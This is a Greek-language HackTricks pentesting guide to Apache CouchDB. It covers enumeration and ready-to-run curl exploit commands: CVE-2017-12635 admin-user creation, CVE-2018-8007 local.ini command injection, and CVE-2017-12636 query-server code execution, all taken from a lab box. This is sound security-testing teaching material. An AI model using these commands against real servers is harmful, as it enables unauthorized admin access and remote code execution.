hacktricks/network-services-pentesting/5984-pentesting-couchdb.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

29 KiB
Raw Blame History

5984,6984 - Ελεγχος ασφαλείας CouchDB

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

Το CouchDB είναι μια ευέλικτη και ισχυρή βάση δεδομένων προσανατολισμένη σε έγγραφα που οργανώνει τα δεδομένα χρησιμοποιώντας μια δομή χάρτη-κλειδί εντός κάθε έγγραφου. Τα πεδία μέσα στο έγγραφο μπορούν να αναπαρασταθούν ως ζεύγη κλειδιού/τιμής, λίστες ή χάρτες, παρέχοντας ευελιξία στην αποθήκευση και ανάκτηση δεδομένων.

Κάθε έγγραφο που αποθηκεύεται στο CouchDB ανατίθεται ένας μοναδικός αναγνωριστικός αριθμός (_id) στο επίπεδο του εγγράφου. Επιπλέον, κάθε τροποποίηση που γίνεται και αποθηκεύεται στη βάση δεδομένων ανατίθεται ένας αριθμός αναθεώρησης (_rev). Αυτός ο αριθμός αναθεώρησης επιτρέπει την αποτελεσματική παρακολούθηση και διαχείριση των αλλαγών, διευκολύνοντας την εύκολη ανάκτηση και συγχρονισμό των δεδομένων εντός της βάσης δεδομένων.

Προεπιλεγμένη θύρα: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Αυτόματη Απαρίθμηση

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Χειροκίνητη Απαρίθμηση

Μπάνερ

Κατά την χειροκίνητη απαρίθμηση, ένας από τους πρώτους τρόπους για να αποκτήσουμε πληροφορίες για ένα CouchDB σύστημα είναι να εξάγουμε το μπάνερ του. Αυτό μπορεί να γίνει με την αποστολή ενός HTTP αιτήματος GET στην αρχική διεύθυνση του CouchDB. Οι πληροφορίες που μπορούμε να αντλήσουμε από το μπάνερ περιλαμβάνουν την έκδοση του CouchDB, το όνομα του συστήματος, το λειτουργικό σύστημα και άλλες σημαντικές πληροφορίες. Αυτές οι πληροφορίες μπορούν να μας βοηθήσουν να κατανοήσουμε καλύτερα το σύστημα και να εντοπίσουμε πιθανές ευπάθειες.

Για να εξάγουμε το μπάνερ του CouchDB, μπορούμε να χρησιμοποιήσουμε την εντολή curl ως εξής:

curl http://<target_ip>:5984/

Αντικαταστήστε το <target_ip> με την πραγματική διεύθυνση IP του στόχου. Αν η απάντηση περιέχει πληροφορίες για το CouchDB, τότε έχουμε επιτύχει την εξαγωγή του μπάνερ.

curl http://IP:5984/

Αυτό εκδίδει ένα αίτημα GET στην εγκατεστημένη περίπτωση του CouchDB. Η απάντηση θα πρέπει να μοιάζει με μία από τις παρακάτω:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} Σημειώστε ότι αν έχετε πρόσβαση στη ρίζα του couchdb και λάβετε ένα 401 Unauthorized με κάτι τέτοιο: {"error":"unauthorized","reason":"Authentication required."} δεν θα μπορέσετε να έχετε πρόσβαση στο banner ή οποιοδήποτε άλλο endpoint. {% endhint %}

Ενημέρωση Απαρίθμησης

Αυτά είναι τα endpoints στα οποία μπορείτε να έχετε πρόσβαση με ένα αίτημα GET και να εξάγετε κάποιες ενδιαφέρουσες πληροφορίες. Μπορείτε να βρείτε περισσότερα endpoints και πιο λεπτομερείς περιγραφές στην τεκμηρίωση του couchdb.

  • /_active_tasks Λίστα των εκτελούμενων εργασιών, συμπεριλαμβανομένου του τύπου της εργασίας, του ονόματος, της κατάστασης και του αναγνωριστικού διεργασίας.
  • /_all_dbs Επιστρέφει μια λίστα με όλες τις βάσεις δεδομένων στην περίπτωση του CouchDB.
  • /_cluster_setup Επιστρέφει την κατάσταση του κόμβου ή του cluster, σύμφωνα με τον οδηγό εγκατάστασης του cluster.
  • /_db_updates Επιστρέφει μια λίστα με όλα τα γεγονότα της βάσης δεδομένων στην περίπτωση του CouchDB. Η ύπαρξη της βάσης δεδομένων _global_changes απαιτείται για να χρησιμοποιηθεί αυτό το endpoint.
  • /_membership Εμφανίζει τους κόμβους που ανήκουν στο cluster ως cluster_nodes. Το πεδίο all_nodes εμφανίζει όλους τους κόμβους που γνωρίζει αυτός ο κόμβος, συμπεριλαμβανομένων αυτών που ανήκουν στο cluster.
  • /_scheduler/jobs Λίστα των εργασιών αντιγραφής. Κάθε περιγραφή εργασίας θα περιλαμβάνει πληροφορίες πηγής και προορισμού, αναγνωριστικό αντιγραφής, ιστορικό πρόσφατων γεγονότων και άλλα.
  • /_scheduler/docs Λίστα των καταστάσεων εγγράφου αντιγραφής. Περιλαμβάνει πληροφορίες για όλα τα έγγραφα, ακόμη και σε καταστάσεις completed και failed. Για κάθε έγγραφο επιστρέφει το αναγνωριστικό εγγράφου, τη βάση δεδομένων, το αναγνωριστικό αντιγραφής, την πηγή και τον προορισμό, καθώς και άλλες πληροφορίες.
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} Το endpoint /_node/{node-name} μπορεί να χρησιμοποιηθεί για να επιβεβαιώσετε το όνομα του κόμβου Erlang του διακομιστή που επεξεργάζεται το αίτημα. Αυτό είναι πιο χρήσιμο όταν έχετε πρόσβαση στο /_node/_local για να ανακτήσετε αυτές τις πληροφορίες.
  • /_node/{node-name}/_stats Το αντικείμενο _stats επιστρέφει ένα αντικείμενο JSON που περιέχει τα στατιστικά για τον εκτελούμενο διακομιστή. Η συμβολοσειρά _local λειτουργεί ως ψευδώνυμο για το όνομα του τοπικού κόμβου, οπότε για όλες τις διευθύνσεις URL στατιστικών, το {node-name} μπορεί να αντικατασταθεί με _local, για να αλληλεπιδράσετε με τα στατιστικά του τοπικού κόμβου.
  • /_node/{node-name}/_system Το αντικείμενο _system επιστρέφει ένα αντικείμενο JSON που περιέχει διάφορα στατιστικά σε επίπεδο συστήματος για τον εκτελούμενο διακομιστή. Μπορείτε να χρησιμοποιήσετε το _local ως {node-name} για να λάβετε τις τρέχουσες πληροφορίες του κόμβου.
  • /_node/{node-name}/_restart
  • /_up Επιβεβαιώνει ότι ο διακομιστής είναι ενεργός, λειτουργεί και είναι έτοιμος να ανταποκριθεί σε αιτήματα. Εάν η maintenance_mode είναι true ή nolb, το endpoint θα επιστρέψει μια απόκριση 404.
  • /_uuids Ζητά ένα ή περισσότερα Μοναδικά Αναγνωριστικά Παγκοσμίως (UUIDs) από την περίπτωση του CouchDB.
  • /_reshard Επιστρέφει τον αριθμό των ολοκληρωμένων, αποτυχημένων, εκτελούμενων, διακόπτονται και συνολικών εργασιών, μαζί με την κατάσταση της αναδιαμόρφωσης στο cluster.

Περισσότερες ενδιαφέρουσες πληροφορίες μπορούν να εξαχθούν όπως εξηγείται εδώ: https://lzone.de/cheat-sheet/CouchDB

Λίστα Βάσεων Δεδομένων

curl -X GET http://IP:5984/_all_dbs

Εάν αυτό το αίτημα απαντά με ένα 401 μη εξουσιοδοτημένο, τότε χρειάζεστε κάποια έγκυρα διαπιστευτήρια για να αποκτήσετε πρόσβαση στη βάση δεδομένων:

curl -X GET http://user:password@IP:5984/_all_dbs

Για να βρείτε έγκυρα διαπιστευτήρια, μπορείτε να προσπαθήσετε να δοκιμάσετε brute force στην υπηρεσία.

Αυτό είναι ένα παράδειγμα από μια απάντηση του couchdb όταν έχετε επαρκή δικαιώματα για να εμφανίσετε τις βάσεις δεδομένων (Είναι απλά μια λίστα με τις βάσεις δεδομένων):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Πληροφορίες Βάσης Δεδομένων

Μπορείτε να αποκτήσετε ορισμένες πληροφορίες για τη βάση δεδομένων (όπως αριθμός αρχείων και μεγέθη) αποκτώντας πρόσβαση στο όνομα της βάσης δεδομένων:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Λίστα Εγγράφων

Αναφέρει κάθε καταχώρηση μέσα σε μια βάση δεδομένων

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Ανάγνωση Εγγράφου

Διαβάστε το περιεχόμενο ενός εγγράφου μέσα σε μια βάση δεδομένων:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

Ανόδος Προνομίων στο CouchDB CVE-2017-12635

Χάρη στις διαφορές μεταξύ των αναλυτών JSON της Erlang και της JavaScript, μπορείτε να δημιουργήσετε έναν διαχειριστή χρήστη με διαπιστευτήρια hacktricks:hacktricks με το ακόλουθο αίτημα:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Περισσότερες πληροφορίες για αυτήν την ευπάθεια εδώ.

CouchDB RCE

Επισκόπηση Ασφάλειας Μπισκότου Erlang

Παράδειγμα από εδώ.

Στην τεκμηρίωση του CouchDB, ειδικότερα στην ενότητα που αφορά τη ρύθμιση του cluster (σύνδεσμος), συζητείται η χρήση θυρών από το CouchDB σε κατάσταση cluster. Αναφέρεται ότι, όπως και σε αυτόνομη κατάσταση, χρησιμοποιείται η θύρα 5984. Επιπλέον, η θύρα 5986 είναι για τις τοπικές διεπαφές των κόμβων και, σημαντικότερο, η Erlang απαιτεί την TCP θύρα 4369 για τον Erlang Port Mapper Daemon (EPMD), που διευκολύνει την επικοινωνία των κόμβων σε ένα Erlang cluster. Αυτή η ρύθμιση δημιουργεί ένα δίκτυο όπου κάθε κόμβος συνδέεται με κάθε άλλο κόμβο.

Μια κρίσιμη ασφαλείας ειδοποίηση αναφέρεται για τη θύρα 4369. Εάν αυτή η θύρα είναι προσβάσιμη μέσω του Διαδικτύου ή οποιουδήποτε μη αξιόπιστου δικτύου, η ασφάλεια του συστήματος εξαρτάται σε μεγάλο βαθμό από ένα μοναδικό αναγνωριστικό που ονομάζεται "μπισκότο" (cookie). Αυτό το μπισκότο λειτουργεί ως προστασία. Για παράδειγμα, σε μια δεδομένη λίστα διεργασιών, μπορεί να παρατηρηθεί το μπισκότο με το όνομα "monster", που υποδηλώνει τον λειτουργικό του ρόλο στο πλαίσιο ασφαλείας του συστήματος.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Για όσους ενδιαφέρονται να κατανοήσουν πώς αυτό το "cookie" μπορεί να εκμεταλλευτεί για την εκτέλεση απομακρυσμένου κώδικα (RCE) στο πλαίσιο των συστημάτων Erlang, υπάρχει μια αφιερωμένη ενότητα για περαιτέρω ανάγνωση. Αναλύονται οι μεθοδολογίες για την εκμετάλλευση των cookies Erlang με μη εξουσιοδοτημένο τρόπο για την απόκτηση ελέγχου πάνω σε συστήματα. Μπορείτε να εξερευνήσετε τον λεπτομερή οδηγό για την κατάχρηση των cookies Erlang για RCE εδώ.

Εκμεταλλευόμενοι το CVE-2018-8007 μέσω τροποποίησης του local.ini

Παράδειγμα από εδώ.

Μια πρόσφατα αποκαλυφθείσα ευπάθεια, CVE-2018-8007, που επηρεάζει το Apache CouchDB, εξερευνήθηκε, αποκαλύπτοντας ότι η εκμετάλλευση απαιτεί δικαιώματα εγγραφής στο αρχείο local.ini. Παρόλο που δεν είναι άμεσα εφαρμόσιμο στο αρχικό σύστημα στόχο λόγω περιορισμών ασφαλείας, έγιναν τροποποιήσεις για να παραχωρηθεί πρόσβαση εγγραφής στο αρχείο local.ini για σκοπούς εξερεύνησης. Παρέχονται λεπτομερείς βήματα και παραδείγματα κώδικα παρακάτω, που δείχνουν τη διαδικασία.

Πρώτα, προετοιμάζουμε το περιβάλλον εξασφαλίζοντας ότι το αρχείο local.ini είναι εγγράψιμο, επαληθεύοντας τα δικαιώματα πρόσβασης:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Για να εκμεταλλευτείτε την ευπάθεια, εκτελείται ένας εντολή curl, προστίθεται στον στόχο cors/origins της διαμόρφωσης local.ini. Αυτό εισάγει ένα νέο προέλευσης μαζί με επιπλέον εντολές στην ενότητα [os_daemons], με σκοπό την εκτέλεση αυθαίρετου κώδικα:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Ο επόμενος έλεγχος επιβεβαιώνει την εισαγωγή της διαμόρφωσης στο local.ini, συγκρίνοντάς το με ένα αντίγραφο ασφαλείας για να επισημάνει τις αλλαγές:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Αρχικά, το αναμενόμενο αρχείο (/tmp/0xdf) δεν υπάρχει, υποδηλώνοντας ότι η εντολή που εισήχθη δεν έχει εκτελεστεί ακόμα. Περαιτέρω έρευνα αποκαλύπτει ότι εκτελούνται διεργασίες που σχετίζονται με το CouchDB, συμπεριλαμβανομένης μίας που θα μπορούσε ενδεχομένως να εκτελέσει την εισαγόμενη εντολή:

root@canape:/home/homer/bin# ps aux | grep couch

Τερματίζοντας την εντοπισμένη διεργασία του CouchDB και επιτρέποντας στο σύστημα να την επανεκκινήσει αυτόματα, ενεργοποιείται η εκτέλεση της ενθετωμένης εντολής, όπως επιβεβαιώνεται από την ύπαρξη του προηγουμένως απουσιάζοντος αρχείου:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Η εξερεύνηση αυτή επιβεβαιώνει την εφαρμοσιμότητα της εκμετάλλευσης CVE-2018-8007 υπό συγκεκριμένες συνθήκες, ειδικά την απαίτηση για εγγράψιμη πρόσβαση στο αρχείο local.ini. Οι παραδείγματα κώδικα και οι διαδικαστικές ενέργειες που παρέχονται προσφέρουν έναν σαφή οδηγό για την αναπαραγωγή της εκμετάλλευσης σε έναν ελεγχόμενο περιβάλλον.

Για περισσότερες λεπτομέρειες σχετικά με την CVE-2018-8007, ανατρέξτε στην ενημέρωση από την mdsec: CVE-2018-8007.

Εξερεύνηση της CVE-2017-12636 με Δικαιώματα Εγγραφής στο local.ini

Παράδειγμα από εδώ.

Εξερευνήθηκε μια ευπάθεια γνωστή ως CVE-2017-12636, η οποία επιτρέπει την εκτέλεση κώδικα μέσω της διεργασίας του CouchDB, αν και συγκεκριμένες ρυθμίσεις μπορεί να αποτρέψουν την εκμετάλλευσή της. Παρά την πληθώρα αναφορών Proof of Concept (POC) που είναι διαθέσιμες στο διαδίκτυο, απαιτούνται προσαρμογές για να εκμεταλλευτείτε την ευπάθεια στην έκδοση 2 του CouchDB, η οποία διαφέρει από τη συνήθως στοχευμένη έκδοση 1.x. Οι αρχικές ενέργειες περιλαμβάνουν τον έλεγχο της έκδοσης του CouchDB και την επιβεβαίωση της απουσίας της αναμενόμενης διαδρομής των διακομιστών ερωτημάτων.

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Για να προσαρμοστεί στην έκδοση 2.0 του CouchDB, χρησιμοποιείται ένα νέο μονοπάτι:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Οι προσπάθειες για προσθήκη και εκτέλεση ενός νέου διακομιστή ερωτημάτων αντιμετωπίστηκαν με σφάλματα που σχετίζονται με τα δικαιώματα, όπως φαίνεται από την παρακάτω έξοδο:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Περαιτέρω έρευνα αποκάλυψε προβλήματα άδειας με το αρχείο local.ini, το οποίο δεν ήταν εγγράψιμο. Με τροποποίηση των δικαιωμάτων αρχείου με ρίζα ή πρόσβαση homer, έγινε δυνατή η συνέχιση:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Οι επόμενες προσπάθειες για προσθήκη του διακομιστή ερωτημάτων επιτεύχθηκαν, όπως αποδεικνύεται από την απουσία μηνυμάτων σφάλματος στην απόκριση. Η επιτυχής τροποποίηση του αρχείου local.ini επιβεβαιώθηκε μέσω σύγκρισης αρχείων:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Η διαδικασία συνεχίστηκε με τη δημιουργία μιας βάσης δεδομένων και ενός εγγράφου, ακολουθούμενη από μια προσπάθεια εκτέλεσης κώδικα μέσω μιας προσαρμοσμένης προβολής που αντιστοιχεί στον νεοπροσταθέντα διακομιστή ερωτήσεων:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

Ένα σύνοψη με έναν εναλλακτικό φορτίο παρέχει περαιτέρω εισαγωγή στην εκμετάλλευση του CVE-2017-12636 υπό συγκεκριμένες συνθήκες. Χρήσιμοι πόροι για την εκμετάλλευση αυτής της ευπάθειας περιλαμβάνουν:

Shodan

  • port:5984 couchdb

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks: